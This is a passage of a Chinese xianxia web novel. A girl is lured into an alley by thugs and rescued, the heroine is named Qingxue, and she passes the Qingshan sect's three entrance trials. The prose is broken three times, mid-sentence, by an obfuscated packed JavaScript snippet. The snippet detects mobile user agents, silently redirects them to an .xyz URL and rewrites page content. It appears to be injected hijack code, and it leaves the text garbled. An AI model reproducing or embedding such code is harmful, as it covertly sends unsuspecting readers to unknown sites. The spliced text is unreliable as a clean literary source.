“哥!”连姝慌了,一把抱住他的胳膊往回拽,声音带着哭腔和委屈,“她的伤都好得差不多了,干嘛非要她赖在我们家不走?她之前那么凶还过打你,你怎么还想着她啊!” “阿姝……”连郁停下脚步,却没有回头。 “我就是看不惯她!”连姝的眼泪在眼眶里打转,声音拔高,带着些许不满,“爹娘对她好,你也总围着她转,她到底哪里好了!” 连郁轻轻叹了口气。 他不是圣人,被先前那样对待自然也有脾气。但少女那副被世界抛弃的模样,令他心头那点不快早就烟消云散。 他的心,终究是软的。 更何况这些日子里,她也做了不少事。 隔壁王婶家的鸡跑了,她刚好路过,于是胳膊夹两只手上提四只,一次性给人全抓了回来。 村头小胖爬上连家外那颗樱桃树摘果子,结果挂树上下不来,她几步上树把人捞下,如今小胖看见她眼里都是星星。 还有几日前傍晚,一家子闹矛盾,那狗男人拿着把菜刀追他媳妇,她一脸烦躁地把那人揍了顿,表示再吵的大家不安宁把他脱光了挂树上,转头便让他媳妇回家锁门睡觉,让这狗男人自生自灭。 虽然她总是一副生人勿近的疏离模样,但遇事了又不含糊。这种性格的人在村子太少见,反而让大家渐渐接受了她,连郁甚至好几次被拦下打听有关她的事情。 所以他并不觉得救她这件事是个错误。 “阿姝,就算真的觉得她该走,也不能用这种方式。”连郁转过身,大手轻轻落在妹妹头顶,语气带着一丝无奈和教导,“被抛弃的滋味,谁都不好受。” 连姝僵在原地,看着哥哥眼中那抹她看不懂的复杂情绪,张了张嘴,却发不出声音。 连郁不再多说,转身大步朝院外走去。 “等,等等我!”看着哥哥决然的背影,连姝心底猛地一慌,小跑着追了上去,声音带着一丝不易察觉的央求,“哥哥,我跟你一起去!那个……如果找到她,能不能别告诉爹娘呀?” 连郁脚步未停,嘴角却几不可察地向上弯了一下:“这可不是我说了算。而姐姐要不要说,得看你能不能求得她的原谅了。” 连姝瘪瘪嘴,小声嘟囔着最后的倔强:“她才不是我姐姐……” * 当兄妹俩匆匆赶回镇上时,万卷斋已经准备打烊了。 老掌柜正慢悠悠地收拾着柜台,抬眼瞧见连郁,捋着花白胡子笑道:“哟连郁,今儿个怎么回事,让你家小姑娘自个儿来镇上玩,也不跟着点?” “我这不有事没走开嘛。”连郁解释着,目光快速扫过书铺,“而且不是她一个人,我托了人照看,只是人没一起回来。掌柜的,您可还记得一位穿鹅黄衣衫,冷冰冰的女孩吗?” 掌柜的眼珠子精明地转了转,看向一旁低着头绞着衣角的连姝,试探着问:“今儿是有位冷面姑娘,挑了本书说要记你账上,但小连姝让我……是她吗?” 连郁瞥了连姝一眼,后者脑袋垂得更低了。 他点头:“是她。劳烦掌柜告知我她的去向,另外,那本书我买了,找到人也好赔个不是。” “哦,书啊?书她带走啦。”掌柜的闻言却笑了起来,脸上皱纹都舒展开,“你是没瞧见,那姑娘可有意思了,过了半个时辰左右又折回来,冷着张小脸跟我商量,说她帮我干活抵书钱。嘿,老头子我这铺子大,一个人打理,老眼昏花的,不是算错账就是看不住书,收拾起来也费劲……” 说起温拂渔,掌柜的话匣子就关不住了。 那杂乱无章的书架被她整理得井井有条,分门别类,一目了然。 他算账时稍有犹豫,她就不知从哪儿冒出来,眼神锐利,账目算得又快又准,绝不多收一文,也绝不少找一厘。 更绝的是,镇上那出了名的混混刚顺走一本图谱揣怀里,就被她像拎小鸡仔似的揪住后领,一把扔出了大门。 那混混之后还想逞凶,结果又被她一脚踹得滚出去老远,半天爬不起来,最终灰溜溜跑了。 “她还帮我清了不少压箱底的武学旧书呢。”掌柜的眉飞色舞,“就在门口空地上,照着书里的图谱,一招一式比划出来,那叫一个干净利落,英姿飒爽。好家伙,围了一群人看,那些放了几年没人问津的书愣是被抢光了。” 连郁想象着温拂渔面无表情地打着拳脚套路卖书的场景,嘴角忍不住抽了抽。 嗯……画面感很强,虽然违和,但又奇异地和谐。 “至于她的去向嘛……活儿干完我就给她结了工钱,她说要去找个落脚的地儿,瞧着是往北边去了。” 镇北,客栈民宿聚集,最是繁华热闹,连郁对那里的地形很熟悉。 “阿姝,你就在这里等我,别乱跑。” 连郁交代一声,不等连姝回应,身形微动,如一阵清风掠过,瞬间消失在原地,只留下微微晃动的门帘。 掌柜的望着他消失的方向,捋着胡子,眼中满是感慨:“当年那个总是在我书堆里翻秘籍,有模有样比划的小娃娃,如今真是出息了,成了厉害的仙师喽……” 连姝呆呆地望着空荡荡的门口,眉头紧皱,心里乱糟糟的。 她觉得很奇怪。 她就是讨厌温拂渔,但为什么身边这些人却都为她说好话,让她觉得她好像没那么讨厌了? 讨厌,讨厌死了! 她那人就应该坏的再彻底些!把王婶的鸡抓了吃了,让小胖挂在树上自生自灭,不参与人家的家庭矛盾,凭她的身手直接拿着书逃跑,这样她就能讨厌地更理所当然…… 这个念头一起,连姝自己都吓了一跳。她猛地低下头,手指死死揪着衣角,指甲几乎嵌进掌心。 ……她坏透了。 为了讨厌一个人,她居然想让大家都受到伤害。 她才是该被讨厌的那个人吧。 “小连姝,进来坐坐?”掌柜的声音传来。 “不了爷爷。”她吸了吸鼻子,像是终于下定了决心,“我要去找哥哥,再见!” 说完,她转身就跑出了书铺。 镇北的街道人流复杂,连姝个子小,在高大的行人中像一尾小鱼,这蹿一下,那挤一下。 她对这里的熟悉程度远不如连郁,以前都是哥哥牵着她走,她只需要乖乖地跟着。 她焦急地左顾右盼,小小的身影在人群中穿梭,那份无助和急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252355|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切,吸引了暗处不怀好意的目光。 “小妹妹怎么一个人啊?在找人吗?”一个刻意放柔的男声突兀地响起,挡住了她的去路。 连姝抬起头,看到一个穿着还算体面,长相有几分俊朗的男人,正对她露出一个温柔的笑容。 她心里警铃微响,后退半步,带着戒备:“嗯,找我哥哥和……朋友。他们很厉害的!” 男人笑容不变,循循善诱:“哦?可以跟哥哥说说他们长什么样,哥哥我可是镇上的万事通,说不定见过呢?帮你指个路也好啊。” 连姝犹豫了一下。只是描述一下应该没关系吧? “我哥哥穿红黑色衣服,长得特别帅,比你矮一点点,跑得特别快,可能会在房檐上。” 男人笑容僵了一下:“……房檐上?” 这什么描述? 连姝继续道:“另一位,是个比我哥哥矮一点点的女孩,长得……哦,她的眼睛很漂亮,像星星,睫毛又长又密,弯弯的,但是看人也很凶,白长了那么好看的眼睛!唇形也很好看,但她老是板着脸,一点都不爱笑,浪费!她的皮肤就是很健康的颜色,今天扎着高高的马尾,飒飒的……” 连姝自己都没意识到,说起哥哥,她三言两语就交代完了,可一说到温拂渔,她却越说越细,仿佛要把那人的每一寸特征都刻出来。 最后,她喘了口气,总结道:“总之,他们都特别厉害,不用你帮忙找。”说完就想绕过男人离开。 “等等!”男人的声音忽然拔高,带着一丝不易察觉的颤抖,“你说的那个女孩……是不是穿着鹅黄色的衣服?身手特别利落,像个江湖侠女?脸上没什么表情,但看着就莫名一肚子火?” 连姝猛地停住脚步,震惊地瞪大眼睛:“全对,你怎么知道?” 男人脸上的笑容瞬间变得诡异起来,他眼中闪过一丝阴狠:“我说了,我是万事通。我不止见过她,我还知道她现在在哪儿呢。跟我来,哥哥带你去见她。” 连姝到底是个十二岁的天真小孩,原本保持的警惕性就这样被抛之脑后,她只意识到自己马上就能找到温拂渔了。 她会原谅自己吗? 她不会像揍哥哥那样揍自己吧? 她看向自己的眼神里会不会有失望,或者是更严重的疏离? 连姝乖乖跟在男人身后,完全没有注意到对方带着她七拐八绕,渐渐远离了喧嚣的主街,走进了一条狭窄僻静的小巷。 巷子越走越深,光线也越发昏暗,直到前方出现一堵高高的墙壁,她才反应过来这是个死胡同。 连姝的心猛地一沉,转身想跑,却发现巷口不知何时已被另外两个眼神不善,满脸横肉的男人堵住了。 “你,你们想干什么?” 带路的男人瞬间撕下了所有伪装,脸上只剩下狰狞和凶狠:“干什么?你那朋友今天可是把我兄弟揍得站不起来,让我们哥几个在镇上丢尽了脸面,既然找不到她,就拿你这小丫头片子出出气!” 连姝又怕又急,眼泪终于滚落下来:“我哥哥是仙门弟子,他马上就来了,不会放过你们的!” “仙门弟子?呵!”男人啐了一口,满脸不屑,“吹牛谁不会?刚才就听你叨叨他们多厉害,烦都烦死了,给我堵住她的嘴!” 堵在巷口的两个男人狞笑着逼近。连姝绝望地闭上眼,缩紧身体,等待着即将到来的可怕遭遇。 “啧,一群怂货。” 一个熟悉的声音清晰地从小巷上方传来。 连姝猛地睁开泪眼,仓惶抬头望去。 只见高高的巷墙之上,那抹熟悉的鹅黄色身影正悠然坐着。 她一条腿随意地垂在墙外晃荡,另一条腿屈起,膝上还摊开着一本书。她单手撑着书页,微微垂眸,目光淡漠地俯视着巷子里的三个歹徒。 她冷笑一声:“不是仙门弟子,收拾你们几个杂碎也绰绰有余了。” 8. 和解 温拂渔之所以出现在这里,是为了守株待兔。 拿到掌柜结算的工钱后,她刚走出书铺没多远,背后便传来一股令人不适视线。 走了一段距离后,她便确信:有人跟踪。 但那人的跟踪技术实在拙劣。 生硬地模仿她的脚步节奏,在拐角处夸张地闪躲,甚至在她回头时,还会手忙脚乱地假装打量路边摊贩的商品。 于是很快,对方便跟丢了。 没了目标,那人在人群里左顾右盼,拳头猛砸在手掌上,似乎很是懊恼。 温拂渔则靠在一棵古树背面,浓密的树荫将她完美隐匿,一双眼敏锐地打量着那人。待对方像只无头苍蝇般悻悻离去,她才悄无声息地跟了上去。 她的追踪技巧就很厉害,步伐轻盈,始终保持着最安全的距离和最佳的观察角度。 男人浑然不觉,一路骂骂咧咧地钻进了一条偏僻的胡同。 温拂渔便悄无声息地掠上高墙。特别选了个背光的角度坐下,目光投向下方。 “跟丢了?废物,养你有什么用!”身材魁梧的头目对着手下破口大骂,唾沫星子横飞,“区区一个死丫头片子,居然把阿明肋骨都踹断了,这事传出去简直让人笑话!” 温拂渔闻声一愣。 肋骨被踢断了?看来最近和连郁对练下手没轻没重惯了,这确实是她的失误。 “算了,你还是继续去留意她的去向吧。”头目烦躁地挥手,“还有,看到合适的猎物也顺手带回来。最近货交不上,上面催得紧,再不开张就别想活下去了。” 猎物? 温拂渔眯了眯眼。 虽然不明就里,但这群人鬼鬼祟祟,满身戾气的模样,干的绝不会是正经营生。 她索性按兵不动,细听墙下的污言秽语。 直到那些零碎的交谈渐渐拼凑出骇人的真相:偷盗抢劫只是开胃小菜,杀人放火是家常便饭,而他们最新的业务,竟是丧心病狂的杀人取心。 那她就更不能离开了。 然而令她没想到的是,等来的“猎物”,竟是那个不久前才将她抛弃在镇上的连姝。 她不是应该在家吗?怎么会孤身一人出现在这里?连郁人呢?他没跟着? 虽有无数疑问瞬间涌上心头,但连姝的安全才是最紧要的。 最终,在所有人惊愕抬头的瞬间,温拂渔自高墙之上一跃而下,轻盈落地,尘土不惊。 她一把将被吓到的连姝拽到自己身后,挺直了背脊,语气冰冷:“不是在找我吗?我现在就在这里,有什么恩怨冲我来。” 为首的壮汉惊疑不定地瞪着她,似乎无法理解她是如何神不知鬼不觉出现在墙头的。 短暂的死寂后,他几乎是咬牙切齿:“好,好得很。天堂有路你不走,地狱无门你闯进来。兄弟们,给我废了这臭丫头!” 三人立刻呈合围之势,步步紧逼。 连姝吓得死死攥住温拂渔的衣角,声音带着哭腔:“你……你能打过他们吗?” 温拂渔目光沉静,评估着对方的身法:“就这三个,绰绰有余。” 结果她话音未落,巷口响起脚步声,随后又有四五个面目凶狠的壮汉闻声涌了进来,狭窄的巷子瞬间被堵得水泄不通。 连姝看见这一幕,抓她衣角抓的更紧了:“那现在呢?” 温拂渔:“……你抱紧点我。” 连姝虽不明所以,但求生的本能让她立刻紧紧箍住了温拂渔的腰。 下一秒,温拂渔猛地蹬向身后的砖墙借力腾空。 她一手牢牢护住怀里的连姝,另一手在墙沿借力一撑,在众人的注视下,几个利落的起落便再次翻上了高墙,之后没有丝毫停留地跃向墙的另一侧,稳稳落地。 巷子里死一般的寂静。 随后温拂渔听见墙的那边传来一阵怒吼。 温拂渔松开手道:“没事了。” 连姝惊魂未定,小脸煞白,捂着砰砰乱跳的心脏,委屈又控诉地看着温拂渔:“你,你不是说绰绰有余吗……” 刚才那一下飞天,差点把她魂儿都吓飞了。 温拂渔神色坦然,毫无愧色:“我到底也就十五岁,不是神仙。如今对付几个还行,被一群人围殴,自保都算勉强,更何况还要保护你。” 连姝觉得她说的有理,乖乖地“哦”了一声,随后问道:“那我们现在去哪啊?” “我去看看能不能挂个委托整顿这镇上的风气。”她顿了顿,语气平淡,“你去找你哥吧。” 连姝一愣,下意识又抓住了她的衣角,声音里带着她自己都没察觉的恐慌:“那你呢?你不跟我一起回去吗?” 温拂渔点头道:“对。” 她还打算明日启程去青山门来着。 但是她话音刚落,就见小姑娘的眼泪瞬间涌了上来,像断了线的珍珠,一颗颗砸在地面。 她一边擦着眼泪一边道歉:“对不起,我知道我当时做的很过分,因为我真的很讨厌你,讨厌你对哥哥做过的事,但我反思过了,我这种做法比你更讨人厌,所以我保证我之后不会再这么做了!不要……不要不回去好不好?” 温拂渔没搭话。 其实她在得知自己被抛下的几秒后就立刻释怀了。 这很正常。 收留一个来历不明的陌生人,提供食宿已是仁至义尽。不喜欢了让她离开,也天经地义。连姝的厌恶,不过是加速了这个必然的过程。 “我不回去你应该开心不是吗?”温拂渔不明白她为何如此难过,“以后长点心,别随便跟陌生人走,下一次可不会再有这么好运了。” 连姝的哭声噎住了,泪眼朦胧地看着她:“那你要去哪?” “青山门。”温拂渔想了想,又问道,“对了,你知道青山门在哪里吗?” 连姝听闻这话,水汪汪的眼睛倏地一亮:“青山门?你想去青山门?问我哥啊!我哥就是青山门弟子!” 温拂渔脚步一顿,猛地看向连姝:“……什么?” * “要去青山门?” 连郁的身影终于出现在街角,脸上带着一丝薄怒。可不等他开口训斥,连姝便冲过去紧紧抓住他的手臂,急切地将温拂渔的需求嚷了出来,仿佛这是留住她的唯一希望。 连郁看着妹妹对温拂渔态度一百八十度的转变,心中诧异,但此刻无暇深究。 他转向温拂渔,眉头微蹙:“可青山门五年一招新,下一次开山门,是三年后了。” 温拂渔顿时感到晴天霹雳。 三年? 她需要再等三年才能去青山门? 她垂在身侧的手指无意识地蜷缩,浓密的眼睫低垂,遮住了眼底翻涌的情绪。 好不容易找到的线索,就这样断了…… 连郁见她气压骤然下降,有些于心不忍:“你为什么突然想进青山门?” “我……”温拂渔顿了顿,最终给出一个既不用解释她穿越这件事,又不算撒谎的理由,“听说青山门的藏书阁,资源很丰富。” 连郁不禁在内心感叹她对书的执着。 他沉思片刻,随后两指托着下巴,在温拂渔周身转圈打量,随后认可般地点点头:“我觉得你的能力可以一试,待我向师尊寄封信件说明情况,看看可否破例为你准备一次考核。” 温拂渔一怔:“这样……可以吗?” 她发现自己从来到这个时代就一直在受连郁的照顾。说不感激是假的,但是得到的好处越多,她便越觉得自己一无所有。 她无法给出相应的回报。 少女的手指紧紧攥住衣角,她抬头,一脸认真道:“我欠你们太多,有什么我力所能及的请尽管说。” 连郁连忙摆手:“不必如此,我并没有其他目的,是真的出自对你的欣赏才愿意帮忙的。而且青山门往常也会有这种特别的情况发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252356|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你并非个例。” 而且就她这性子,万一到时候又做出什么事……他不敢想象。 连姝见状,连忙抓住温拂渔的手腕,努力眨巴着大眼睛,声音带着前所未有的软糯和撒娇:“有有有,你跟我们回家就是最大的帮忙了,家里还有张婶给的可好吃的甜糕呢!” 连郁也含笑看着妹妹,温声补充道:“小胖今天扒在院门口张望你好几回了。还有,阿娘几日前给你缝的新衣也好了,就等着你回去试试合不合身。” 温拂渔听到这些,内心满是不可思议。 连家的和睦热情与温家冰冷的利益关系差别太大,这份毫无保留的暖意,一次次突破她的认知边界。 她不习惯。 但是她很喜欢。 “你们……”她抿了抿唇,下意识端出那副故作老成的模样,“总是这样无条件地对人好,会吃大亏的。” 连郁却轻轻笑了。 那笑容干净纯粹又带着暖意,竟让温拂渔恍惚间想起了幼时娘亲塞进她嘴里那枚甜得化不开的蜜糖。 “其实我早就想说了。你却总爱摆出一副看透世情冷暖,历尽沧桑的模样,明明你也才十五岁。”他朝她走近一步,目光专注地落在她身上,“每天都绷得紧紧的,眉头皱着,嘴角抿着,好像从来没有真正开心过。” “你笑起来的话,”连郁的声音很轻,带着一丝不易察觉的期待,“一定很好看。” 几乎是鬼使神差地,他伸出手指,带着一种小心翼翼的试探,极其轻柔地点在了温拂渔紧抿的嘴角,微微向上,勾勒出一个生硬的弧度。 “就像这样……” 温拂渔几乎是条件反射般地一把扣住了连郁的手腕,力道不重却足够让他无法再进分毫。 她瞪大眼睛狠狠地瞪着他。 “抱歉抱歉,下意识就……”连郁缓缓将手抽回,这下语气却认真了不少,“其实我能感觉到你还藏着一些事,但你不愿说也没关系,这是你的选择。而我们愿意收留你,帮你,对你好,也是我们心甘情愿的选择,你不必觉得亏欠。” 少年的眼神太过纯粹炙热,温拂渔感觉与之对视的自己下一秒就要被融化。 她仓惶地别开视线,声音闷闷地从喉间挤出,带着前所未有的别扭:“……谢谢你们。” 连姝在一旁紧张地屏息看着,听到这句“谢谢”,悬着的心终于落回肚子里,小脸上绽开如释重负的笑容。 她眼珠一转,想起什么,便立刻插话道:“对了,无名这个名字太敷衍了,我们谁都没这么叫过,我必须要给你取个名字。”她转过头对连郁说道,哥,你别愣着,你也来想一下。” 温拂渔张了张嘴,那句“我觉得挺好”还没出口,就听连郁的声音带着一丝悠远的意味响起。 “青雪。” 两人同时望向他。 “你们知道吗?青山顶终年覆雪。那雪很薄,只要寒风吹过,一夜之间就能积起。” 连姝一脸茫然:“哥,你说这个干嘛?跟名字有什么关系?” 连郁看向温拂渔,眼中带着温柔的笑意:“就在前些日子,青山顶那积了许久的雪,久违地融化了。因为融雪,听雪峰的清扫任务比往年重了好几倍,全都压在我们身上。” 他无奈地摊手:“我就是为了躲那累死人的差事,才溜回万花庄的。然后,我就在万花庄,遇见了你。” “我觉得,这就是缘分。那场融的雪是,我们的相遇也是。” “所以,青雪……”连郁微笑着重复了一遍这个名字,“你觉得如何?它代表一场不期而遇的缘分。” 温拂渔静静地听着,并没有像往常那样抗拒或反驳。 最终,她迎着连郁温和期待的目光,轻轻地点了点头:“嗯,是个好名字。” 连郁的笑容瞬间扩大,如同冰雪初融后绽放的第一朵春花,温暖而耀眼。 “是吧?我也这么觉得。” 9. 青山 三人后来在委托榜挂了份整顿镇上风气的匿名委托,赶在天黑之前回到了小院。 连父连母尚不清楚他们之间具体发生了什么,只敏锐地察觉到连姝变得格外反常。 温拂渔吃饭,她就搬个小板凳坐在对面,双手托腮,眼睛一眨不眨地盯着看;温拂渔收拾屋子,她就靠在门框上,目光追随着她移动的身影;温拂渔只是坐在小院藤椅上闭目养神,连姝也要搬个矮凳挨着她坐,时不时偷瞄一眼。 连母悄悄碰了碰连郁的胳膊,压低声音问道:“郁儿,你妹妹这是怎么了?把人姑娘盯得浑身不自在可如何是好。” 连姝耳朵尖得很,立刻扭头纠正:“娘,不要总姑娘姑娘的叫,太生疏了。她现在有名字了,叫青雪!” 连母看看并未反驳的温拂渔,又看看一旁忍俊不禁的连郁,眼中满是疑惑。 连郁笑着解释:“对阿姝来说,有了名字才算自己人,她才肯认。”他顿了顿,又补充道,“大概,是这样想的。” 连母恍然,脸上绽开欣慰的笑容。她懂了,女儿这是终于放下心防,愿意接纳对方了。小姑娘家就该这样,一起玩闹才好。 当晚,连郁便写了一封信,让信鸦传回青山门。不过一日,回信便至,展开只有一行遒劲有力的字迹: “你推荐的人,来便是。” 收到回信的当日,连郁便告知温拂渔准备次日启程。 连姝不是很开心:“这么快吗……” 她这几日和温拂渔相处时间增多,找她聊天不会像哥哥一样不断推脱,带她去村子里闲逛她也不会说扫兴的话,除了话少不喜笑,其他方面她确实很好。 温拂渔捕捉到她眼中的遗憾,心中微动,想了想还是安抚道:“若我未能通过考核,还是会回来的。” 当然,她定会竭尽全力留在青山门。 连姝闻言,眼中的阴霾一扫而空,笑容瞬间灿烂:“好呀好呀,我就在家等你!” 连郁见状,立刻把脸凑到连姝面前,带着点委屈巴巴的期待:“那哥哥呢?哥哥也要走的呀。” 连姝小手一挥,敷衍道:“哥哥就随便啦,早点晚点都行。” 次日,连郁一步三回头地上了马车,眼巴巴地望着自家妹妹,渴望能听到一句“哥哥也要早点回来”。 奈何有了新欢就忘了旧爱的亲妹妹,满心满眼都是他身旁的温拂渔,小手挥舞得格外用力:“青雪姐姐,祝你旗开得胜!” 马车辘辘前行。 连郁坐在温拂渔对面,看着她怀里抱着连母硬塞的鼓鼓囊囊的包袱,里面装满了各种吃食和零碎小物。 他想起方才妹妹那区别对待的模样,忍不住酸溜溜地控诉:“阿姝这丫头,之前连叫你一声姐姐都别扭得要命,如今倒好,眼里只有你,我这个亲哥哥反而成了多余的摆设。” 温拂渔正低头整理包袱,闻言抬起头,一脸认真道:“怎么可能,连姝很喜欢你啊。” 连郁:“……你有时候还挺呆的。” 温拂渔微微蹙眉,有些困惑:“有吗?我觉得还好。” 少年看着她这副模样,摇头低笑。 * 马车将二人送至青山下。 他们下了车,沿着被无数求仙者踏出的小径向上行走,最终站在一扇有些许斑驳的石门入口。 二人迈过石门,门内一道挺拔的身影已静候多时。 女人站姿端庄,穿着一袭红衣,高扎着长马尾,简单又不失威严。她五官凌厉,但嘴角挂着一抹若有似无的笑意,恰好中和了她的锋芒。 连郁面上带笑,朝她喊道:“师尊!” 在马车上,连郁已向温拂渔详尽介绍了青山门:悠久的历史与荣光,弟子身份的分级,以及四位仙尊的赫赫威名与各自擅长的领域。 其中关于他的师尊祝荣仙尊,更是滔滔不绝,敬仰之情溢于言表。 祝荣仙尊,二十二岁便剑破天门,成功飞升,是当世最年轻的飞升剑修之一。执掌青山门剑之一脉已三百余年,其门下弟子也英才辈出。 祝荣含笑看着爱徒,目光随即落在他身后的少女身上。 少女身姿挺拔,眼神沉静,虽刻意收敛,眉宇间仍有一丝掩藏不住的锐气,不是那种温顺好相处的性子。 不知又是她家小徒弟从哪招惹来的。 连郁恭敬引荐:“师尊,这位就是我信中所说的青雪姑娘。” 祝荣微微颔首,朝温拂渔开口道:“你虽是阿郁举荐,但青山门的规矩不可破坏。入我门派需过三关试炼,你可愿按章程走一遭?” 温拂渔迎着那锐利的目光,坦然点头:“明白,我愿受考核。” “好。”祝荣行事干脆利落,言简意赅地说明三关内容后,袖袍轻拂,为温拂渔开启了第一关幻心门。 幻心门自温拂渔踏入后缓缓闭合,祝荣这才看向连郁,眼中带着一丝促狭的笑意:“阿郁,你还没以旁观者的身份看过招新试炼吧?随为师来?” 连郁立刻跟了上去。 幻心门内情况无法窥探,这毕竟关乎个人最深处的隐秘,强行窥视是为大忌,故以时限为考。时间一到,若是未能突破幻心门,幻境自动消失,考核也就此结束。 温拂渔第一关耗时较久,连郁待在看台,看着水镜中始终未出现的人,连他自己都未意识到,掌心已微微沁汗。 终于,在时限将尽之际,幻心门光芒一闪,温拂渔的身影踉跄而出。连郁眼尖,瞥见她迅速抬起衣袖,在眼角飞快地蹭了一下,仿佛要拭去什么水光。 他一怔。 是他看错了吧。 这个看起来能上天入地都不怕苦的小姑娘,还会因为一场本就明牌的幻境而哭泣吗? 温拂渔的第二关中规中矩。 她的灵力等级为中等,匹配到了一个五阶魔物,对付起来虽不能说是绰绰有余,但一番动作行云流水,竟也应对地美观,让水镜前观战的祝荣眼中异彩连连。 祝荣忍不住出声赞叹:“这姑娘虽不是天生仙途,但是身手了得,实战过不少吧?论实战技巧,阿郁你还不一定能打过她哦。好好培养一下是个不错的人才。” 连郁闻言,嘴角微扬,并未反驳。 这事无需师尊点明,他心知肚明。他剑法精妙,根基扎实,但论起生死相搏的经验和那股子狠劲,确实不如温拂渔。否则初见时,也不至于被她追得满山坡狼狈逃窜…… 当然,这等有损颜面之事,他是打死也不会同师尊讲的。 看着水镜中温拂渔干净利落地解决掉妖物,祝荣若有所思:“她的长处颇多,灵巧坚韧,反应快实战强。这类全才,往往难以抉择专精一道。” 连郁不以为意:“师尊何必顾虑太多?修行一道,贵在随心合意。弟子觉得,合眼缘比什么都重要。” 祝荣失笑摇头,点了点他的额头:“你呀!合眼缘自然重要,但也需看对方心之所向与天资所适,强求不得。你这性子,看上什么便死缠烂打,认定了就不撒手,将来若真遇上你合眼缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252357|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,怕是要把人家烦得够呛!” 温拂渔顺利来到第三关演武台。 演武台上,与她比试的人是连郁。他每道对招点到为止,并非咄咄逼人,但每一招都极具技巧,虽然也有难度,但相对而言,这竟是最轻松的一关。 四招既毕,连郁手腕一翻,青玉长剑发出一声清吟,精准归鞘。 他抱拳一礼,笑容明朗,带着由衷的赞许:“看吧,我的眼光向来不差,你果然有这个实力。” 温拂渔紧绷的情绪终于得以放松。她松了口气,抱拳回礼:“惭愧,运气好罢了。” 高台之上,祝荣端坐,将温拂渔三关表现尽收眼底。 她活了三百多年,阅人无数,早已练就一双洞察人心的慧眼。来青山门的人,所求为何,她往往能从其眉眼神态、举手投足间窥得一二。 有一心向道,热情纯粹的求仙者;有借仙门为跳板,谋求他利的投机者;有身不由己,被迫前来的无奈者;亦有心怀叵测,意图不轨的入侵者。 连郁是第一种,赤子之心,是仙尊们最愿收为亲传的璞玉。 而这位青雪姑娘…… 祝荣的目光在她身上巡视。 她能感受到她对青山门的向往不假,然而,这份向往之下,似乎还潜藏着别的与修仙习武本身关联不大的目的。 祝荣看不透,但只要这目的本身不危及青山门,她便无需深究。况且,这般潜力不俗的弟子主动来投,于宗门而言,本就是幸事一桩。 下方,连郁已在朝她兴奋地挥手。祝荣敛去思绪,起身,足尖轻点,红衣如云,自高台飘然而下,稳稳落在二人面前。 “非常时期,非常之法。”祝荣声音清朗,目光落在温拂渔身上,“既然今日非正式招新期,那些繁文缛节便免了罢。青雪,自今日起,你便是青山门弟子了。” 少女抬起头,此刻眼睛亮的惊人,满满都是欢喜。 她立刻抱拳谢道:“谢仙尊。” “无事,这是你凭本事进来的。”祝荣道,“阿郁,既然人是你引荐而来,便由你带她去安顿,讲解门规及日常事宜。” “是,师尊。”连郁欣然应下,领着温拂渔离开了演武场。 走在通往弟子居所的石径上,连郁语气带着点遗憾:“可惜了,我看师尊很喜欢你,还以为你能成为我的同门师妹呢。不过没关系,以后我会常来找你的。” 温拂渔问道:“普通弟子与亲传弟子,不住在一处?” “嗯,”连郁点头,“普通弟子有统一的居所区。我们则随师尊居于各峰别院,相距甚远,日常修炼也少有交集。” 温拂渔若有所思地点点头,随即问出最关心的问题:“那关于藏书阁……” “放心,”连郁狡黠一笑,打断她,“以后有的是机会让你去,保管你去了就不想走。或者说,想走都走不掉。” 他果然只将她带到普通弟子的宿舍区,交代清楚住宿事宜和明日需去执事堂领取的物品后便离开了。 数日后,温拂渔终于深刻体会到了连郁那番话的含义。 身为普通弟子,她需与其他同门轮值打扫宗门各处殿宇楼阁。 不知是连郁暗中打点,还是执事堂的特殊照顾,分配给她长期负责的区域便是她渴求已久的藏书阁。 只是眼前的阁楼里书架高耸,典籍繁多,而她则需将这里整理得井井有条,打扫得一尘不染,周而复始。 温拂渔:…… 普通弟子也不容易啊。 10. 凝神 “师妹——温师妹!” 温拂渔迷迷糊糊地从睡梦中清醒了过来。 她不知何时趴着睡着了,眼前是听雪峰熟悉的亭台景致,手边是那把用到一半就被弃置的扫帚。 睁开眼的一瞬间,柳无言那张带着讨好的笑脸便浮现在眼前。 她最近总是梦见之前在青山门时候的事。那段作为普通弟子的时光,每日与其他弟子一齐洒扫、修行、蹭任务,偶尔有点时间便泡在藏书阁的书卷里。 本以为当时已经很辛苦了,谁知如今成了记名弟子,在这偌大冷清的听雪峰上,仅有她与柳无言两人,反而更显疲累。 尤其这一周里,她有五天都见不到柳无言的人影。 那人总能找出五花八门的理由——指导新晋师弟师妹,或者是要去给师兄师姐打杂,便顺手地将峰内洒扫的担子丢给了她。 本来温拂渔第一次被鸽时,她是打算找柳无言理论的,不能因为她是唯一师妹就这么折腾她。 